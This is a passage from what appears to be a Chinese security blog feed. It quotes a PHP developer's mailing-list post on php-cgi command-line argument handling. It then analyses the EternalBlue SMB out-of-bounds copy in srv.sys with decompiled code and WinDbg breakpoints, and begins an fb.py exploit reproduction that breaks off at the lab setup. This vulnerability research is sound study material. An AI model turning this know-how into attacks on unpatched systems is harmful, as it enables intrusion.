&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;GATEWAY_INTERFACE&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;REQUEST_METHOD&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;cgi&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;cgi&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;getopt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;As&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;we&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;parse&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;cgi&lt;/span&gt; &lt;span class="n"&gt;binary&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;we&lt;/span&gt; &lt;span class="n"&gt;are&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;web&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;At&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;same&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt; &lt;span class="n"&gt;our&lt;/span&gt; &lt;span class="n"&gt;regression&lt;/span&gt; &lt;span class="n"&gt;testing&lt;/span&gt; &lt;span class="n"&gt;system&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;tries&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;use&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;cgi&lt;/span&gt; &lt;span class="n"&gt;binary&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;it&lt;/span&gt; &lt;span class="n"&gt;sets&lt;/span&gt; &lt;span class="n"&gt;these&lt;/span&gt; &lt;span class="n"&gt;variables&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;order&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;properly&lt;/span&gt; &lt;span class="n"&gt;test&lt;/span&gt; &lt;span class="n"&gt;GET&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;POST&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;From&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;regression&lt;/span&gt; &lt;span class="n"&gt;testing&lt;/span&gt; &lt;span class="n"&gt;system&lt;/span&gt; &lt;span class="n"&gt;we&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;use&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="n"&gt;extensively&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;override&lt;/span&gt; &lt;span class="n"&gt;ini&lt;/span&gt; &lt;span class="n"&gt;settings&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;make&lt;/span&gt; &lt;span class="n"&gt;sure&lt;/span&gt; &lt;span class="n"&gt;our&lt;/span&gt; &lt;span class="n"&gt;test&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;environment&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="n"&gt;sane&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Of&lt;/span&gt; &lt;span class="n"&gt;course&lt;/span&gt; &lt;span class="n"&gt;these&lt;/span&gt; &lt;span class="n"&gt;two&lt;/span&gt; &lt;span class="n"&gt;ideas&lt;/span&gt; &lt;span class="n"&gt;conflict&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;so&lt;/span&gt; &lt;span class="n"&gt;currently&lt;/span&gt; &lt;span class="n"&gt;our&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;regression&lt;/span&gt; &lt;span class="n"&gt;testing&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="n"&gt;somewhat&lt;/span&gt; &lt;span class="n"&gt;broken&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;We&lt;/span&gt; &lt;span class="n"&gt;haven&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;t noticed because we&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;don&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;t have many tests that have GET/POST data and we rarely build the cgi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;binary&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;The&lt;/span&gt; &lt;span class="n"&gt;point&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;question&lt;/span&gt; &lt;span class="n"&gt;here&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;anybody&lt;/span&gt; &lt;span class="n"&gt;remembers&lt;/span&gt; &lt;span class="n"&gt;why&lt;/span&gt; &lt;span class="n"&gt;we&lt;/span&gt; &lt;span class="n"&gt;decided&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;parse&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;cgi&lt;/span&gt; &lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt; &lt;span class="n"&gt;I&lt;/span&gt; &lt;span class="n"&gt;could&lt;/span&gt; &lt;span class="n"&gt;easily&lt;/span&gt; &lt;span class="n"&gt;see&lt;/span&gt; &lt;span class="n"&gt;it&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;being&lt;/span&gt; &lt;span class="n"&gt;useful&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;able&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;write&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;cgi&lt;/span&gt; &lt;span class="n"&gt;script&lt;/span&gt; &lt;span class="n"&gt;like&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;#!/usr/local/bin/php-cgi -d include_path=/path&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;?&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;have&lt;/span&gt; &lt;span class="n"&gt;it&lt;/span&gt; &lt;span class="n"&gt;work&lt;/span&gt; &lt;span class="n"&gt;both&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;web&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;As&lt;/span&gt; &lt;span class="n"&gt;far&lt;/span&gt; &lt;span class="n"&gt;as&lt;/span&gt; &lt;span class="n"&gt;I&lt;/span&gt; &lt;span class="n"&gt;can&lt;/span&gt; &lt;span class="n"&gt;tell&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="n"&gt;wouldn&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;t conflict with anything, but somebody at&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;some&lt;/span&gt; &lt;span class="n"&gt;point&lt;/span&gt; &lt;span class="n"&gt;must&lt;/span&gt; &lt;span class="n"&gt;have&lt;/span&gt; &lt;span class="n"&gt;had&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;reason&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;disallowing&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Rasmus&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;显然，这位开发者是为了方便使用类似 &lt;code&gt;#!/usr/local/bin/php-cgi -d include_path=/path&lt;/code&gt; 的写法来进行测试，认为不应该限制php-cgi接受命令行参数，而且这个功能不和其他代码有任何冲突。&lt;/p&gt;</description></item><item><title>NSA Eternalblue SMB 漏洞分析</title><link>https://www.lucien116.com/archives/314/</link><pubDate>Mon, 17 Apr 2017 16:22:51 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=314</guid><description>&lt;h2 id="环境"&gt;环境&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;EXPLOIT&lt;/strong&gt;:
Eternalblue-2.2.0.exe&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TARGET&lt;/strong&gt;:
win7 sp1 32bits
srv.sys 6.1.7601.17514
srvnet.sys 6.1.7601.17514&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;PATCH&lt;/strong&gt;:
MS17-010&lt;/p&gt;
&lt;h2 id="漏洞原理"&gt;漏洞原理&lt;/h2&gt;
&lt;p&gt;srv.sys在处理 &lt;code&gt;SrvOs2FeaListSizeToNt&lt;/code&gt; 的时候逻辑不正确导致越界拷贝。我们首先看下漏洞的触发点：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="kr"&gt;__fastcall&lt;/span&gt; &lt;span class="nf"&gt;SrvOs2FeaToNt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// edi@1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;_BYTE&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// edi@1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// eax@1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v4&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_WORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_WORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;_memmove&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v5&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;_memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_WORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt; &lt;span class="c1"&gt;//这里产生的越界覆盖
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_WORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xFFFFFFFC&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;发生越界的地方见上面第二个 &lt;code&gt;memmove&lt;/code&gt;。调试的时候可以这样下断点：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kd&amp;gt; u srv!SrvOs2FeaToNt+0x4d
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;srv!SrvOs2FeaToNt+0x4d:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;9877b278 ff15e0a07698 call dword ptr [srv!_imp__memmove (9876a0e0)]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;9877b27e 0fb74606 movzx eax,word ptr [esi+6]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;9877b282 8d441803 lea eax,[eax+ebx+3]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;9877b286 83e0fc and eax,0FFFFFFFCh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;9877b289 83c418 add esp,18h
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;9877b28c 8bc8 mov ecx,eax
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;9877b28e 2bce sub ecx,esi
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;9877b290 5f pop edi
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;//最后一次越界的拷贝的长度是0xa8
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ba e1 srv!SrvOs2FeaToNt+0x4d &amp;#34;.if(poi(esp+8) != a8){gc} .else {}&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这么设断点的原因是最后一次越界的拷贝的长度是0xa8,断下来后可以发现：&lt;/p&gt;</description></item><item><title>方程式ETERNALBLUE之fb.py的复现</title><link>https://www.lucien116.com/archives/295/</link><pubDate>Mon, 17 Apr 2017 16:18:15 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=295</guid><description>&lt;h3 id="1环境简介"&gt;1.环境简介&lt;/h3&gt;
&lt;p&gt;攻击机win2003&lt;/p&gt;
&lt;p&gt;ip:192.168.1.105&lt;/p&gt;
